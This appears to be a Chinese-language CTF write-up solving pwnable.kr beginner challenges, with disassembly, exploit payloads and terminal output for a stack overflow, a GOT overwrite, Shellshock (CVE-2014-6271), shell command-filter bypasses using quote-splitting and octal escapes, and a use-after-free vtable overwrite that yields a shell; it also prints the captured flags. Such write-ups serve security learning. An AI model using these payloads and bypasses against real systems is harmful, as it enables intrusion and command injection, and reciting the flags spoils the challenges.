Pwnable.kr

和糖果师傅学 Linux Exploit,发现 pwnable.kr 上面的题目很有趣,边学边做。

1. fd

考察的是 Linux 文件描述符相关知识:

fd == 0 为标准输入

fd == 1 为标准输出

fd == 2 为标准错误输出

argv[1] 减去 4660,read(fd),然后比较字符串:

⋊> ~/p/1_fd ./fd 4660
LETMEWIN
good job :)
/bin/cat: flag: No such file or directory

2. collision

IDA F5 给出的代码很清晰,输入 5 个数,和为 0x21DD09EC:

.data:0804A020                 public hashcode
.data:0804A020 hashcode        dd 21DD09ECh            ; DATA XREF: main+97r

    if ( strlen(argv[1]) == 20 )
    {
      if ( check_password((int)argv[1]) == hashcode )
      {
        system("/bin/cat flag");
        result = 0;
      }

int __cdecl check_password(int a1)
{
  signed int i; // [sp+4h] [bp-Ch]@1
  int v3; // [sp+8h] [bp-8h]@1

  v3 = 0;
  for ( i = 0; i <= 4; ++i )
    v3 += *(_DWORD *)(a1 + 4 * i);
  return v3;
}

3. bof

.text:00000649                 lea     eax, [ebp+s]
.text:0000064C                 mov     [esp], eax      ; s
.text:0000064F                 call    gets
.text:00000654                 cmp     [ebp+arg_0], 0CAFEBABEh
.text:0000065B                 jnz     short loc_66B
.text:0000065D                 mov     dword ptr [esp], offset command ; "/bin/sh"
.text:00000664                 call    system
.text:00000669                 jmp     short loc_677

func 函数经典栈溢出,覆盖参数:”A” * (0x2C + 0x8) + pack(0x0CAFEBABE)

4. flag

upx -d flag 脱掉壳,strings 就可以看到 flag:

⋊> /tmp strings flag |grep -i upx
UPX...? sounds like a delivery service :)

5. passcode

scanf 未使用 & 传递指针,而是直接传递了变量,变量 passcode1 未初始化,导致函数 welcome 中的变量 name (ebp-70h) 最后 4 字节刚好可以覆盖 passcode1 (ebp-10h),造成任意地址的 4 字节写。

.text:08048564 passcode1       = dword ptr -10h
.text:08048564 passcode2       = dword ptr -0Ch
.text:08048564
.text:08048564                 push    ebp
.text:08048565                 mov     ebp, esp
.text:08048567                 sub     esp, 28h
.text:0804856A                 mov     eax, offset format ; "enter passcode1 : "
.text:0804856F                 mov     [esp], eax      ; format
.text:08048572                 call    _printf
.text:08048577                 mov     eax, offset aD  ; "%d"
.text:0804857C                 mov     edx, [ebp+passcode1] ; scanf 忘记写 &,参数2为新申请的变量
.text:0804857C                                         ; 而新申请的变量未初始化,值为之前输入的 name
.text:0804857C                                         ; 导致任意地址写
.text:0804857F                 mov     [esp+4], edx
.text:08048583                 mov     [esp], eax
.text:08048586                 call    ___isoc99_scanf
.text:0804858B                 mov     eax, ds:stdin@@GLIBC_2_0
.text:08048590                 mov     [esp], eax      ; stream
.text:08048593                 call    _fflush
.text:08048598                 mov     eax, offset aEnterPasscode2 ; "enter passcode2 : "
.text:0804859D                 mov     [esp], eax      ; format
.text:080485A0                 call    _printf

覆写 printf@got.plt 为 login ok 部分,改变程序流程:

⋊> ~/p/5_passcode python -c 'from pwn import *; print "A"*96+pack(0x804a000)+"134514135"' |./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
enter passcode1 : Login OK!
Done!!!!!!!!
Now I can safely trust you that you have credential :)

6. random

调用 random 函数时未初始化种子,C 语言中用户未设定随机数种子时,系统默认的随机数种子为 1,导致返回值固定为 1804289383。

7. input

考察的是 C 语言中各种参数的传递,通过 C 编程解决:http://rickgray.me/2015/07/24/toddler-s-bottle-writeup-pwnable-kr.html

8. leg

考察 ARM 平台的调试,从来没有做过 ARM :(,在师傅的指导下终于做出来了。在 ARM 中,r0 相当于 EAX 用作返回值,pc 相当于下面第二条指令的地址,lr 相当于函数返回地址 ret。

key1
   0x00008cdc <+8>: mov r3, pc
   0x00008ce0 <+12>:    mov r0, r3
   0x00008ce4 <+16>:    sub sp, r11, #0                 ; key1() = 0x00008ce4
key2
   0x00008d04 <+20>:    mov r3, pc
   0x00008d06 <+22>:    adds    r3, #4
   0x00008d08 <+24>:    push    {r3}
   0x00008d0a <+26>:    pop {pc}
   0x00008d0c <+28>:    pop {r6}        ; (ldr r6, [sp], #4)
   0x00008d10 <+32>:    mov r0, r3                      ; key2() = 0x00008d08 + 4
key3
   0x00008d7c <+64>:    bl  0x8d20 <key3>
   0x00008d80 <+68>:    mov r3, r0                      ; key3() = 0x00008d80

/ $ ./leg
Daddy has very strong arm! : 108400
Congratz!
My daddy has a lot of ARMv5te muscle!

9. mistake

误用了 C 函数 open 的 mode 参数,在存在 mode 参数时,open 的返回值为:若所有欲核查的权限都通过了检查则返回 0 值, 表示成功, 只要有一个权限被禁止则返回 -1。所以 fd == 0,导致 pw_buf 从标准输入读入,在 IDA Pesudocode 中可以很清晰的看到:

if ( (signed int)read(0, &buf, 10uLL) > 0 )
{
  printf("input password : ", &buf);
  __isoc99_scanf("%10s", &s2);
  xor((__int64)&s2, 10u);
  if ( !strncmp(&buf, &s2, 0xAuLL) )
  {
    puts("Password OK");
    system("/bin/cat flag\n");
  }

10. shellshock

shellshock 漏洞:

shellshock@ubuntu:~$ ./bash
shellshock@ubuntu:~$ export echo="() { cat flag; }"
shellshock@ubuntu:~$ ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!

11. coin1

二分法成功解决。坑点:网络速度不够,脚本需要扔到服务器上面跑:(

12. blackjack

TODO

13. lotto

TODO

14. cmd1

shell 拼接字符串简单绕过:

cmd1@ubuntu:~$ ./cmd1 "/bin/cat 'fl''ag'"
mommy now I get what PATH environment is for :)

15. cmd2

这题比上面的难了些,过滤了很多,通过 echo 的编码/转义搞定。

$ #shell ascii
$ echo '\0101'
A
⋊> ~ ipython
In [1]: from pwn import *

In [2]: cmd = "/bin/cat flag"

In [3]: print "\\"+"\\".join([oct(i) for i in ordlist(cmd)])
\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147

cmd2@ubuntu:~$ ./cmd2 '$(echo "\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147")'
$(echo "\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147")
FuN_w1th_5h3ll_v4riabl3s_haha

16. uaf

典型的 UAF 漏洞,注意:先 free man,再 free woman,alloc 时会先获取到 woman 的空间,然后才是 man 空间,所以应该两次 alloc。

通过覆写虚表指针为虚表指针 - 8 获取 shell。

⋊> /tmp ipython
In [1]: from pwn import *

In [2]: pack(0x401568)
Out[2]: 'h\x15@\x00'

In [3]: with open('/tmp/123', 'w') as fd:
   ...:     fd.write(pack(0x401568))
   ...:

⋊> /tmp scp -P2222 123 uaf@pwnable.kr:/tmp/halo
uaf@pwnable.kr's password:
123                                                100%    4     0.0KB/s   00:00
⋊> /tmp ssh uaf@pwnable.kr -p2222
uaf@pwnable.kr's password:
Last login: Mon Apr 11 23:09:42 2016 from 113.140.11.121
uaf@ubuntu:~$ ./uaf 24 /tmp/halo
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ id
uid=1069(uaf) gid=1069(uaf) egid=1070(uaf_pwn) groups=1069(uaf)
$ ls
flag  uaf  uaf.cpp
$ cat flag
yay_f1ag_aft3r_pwning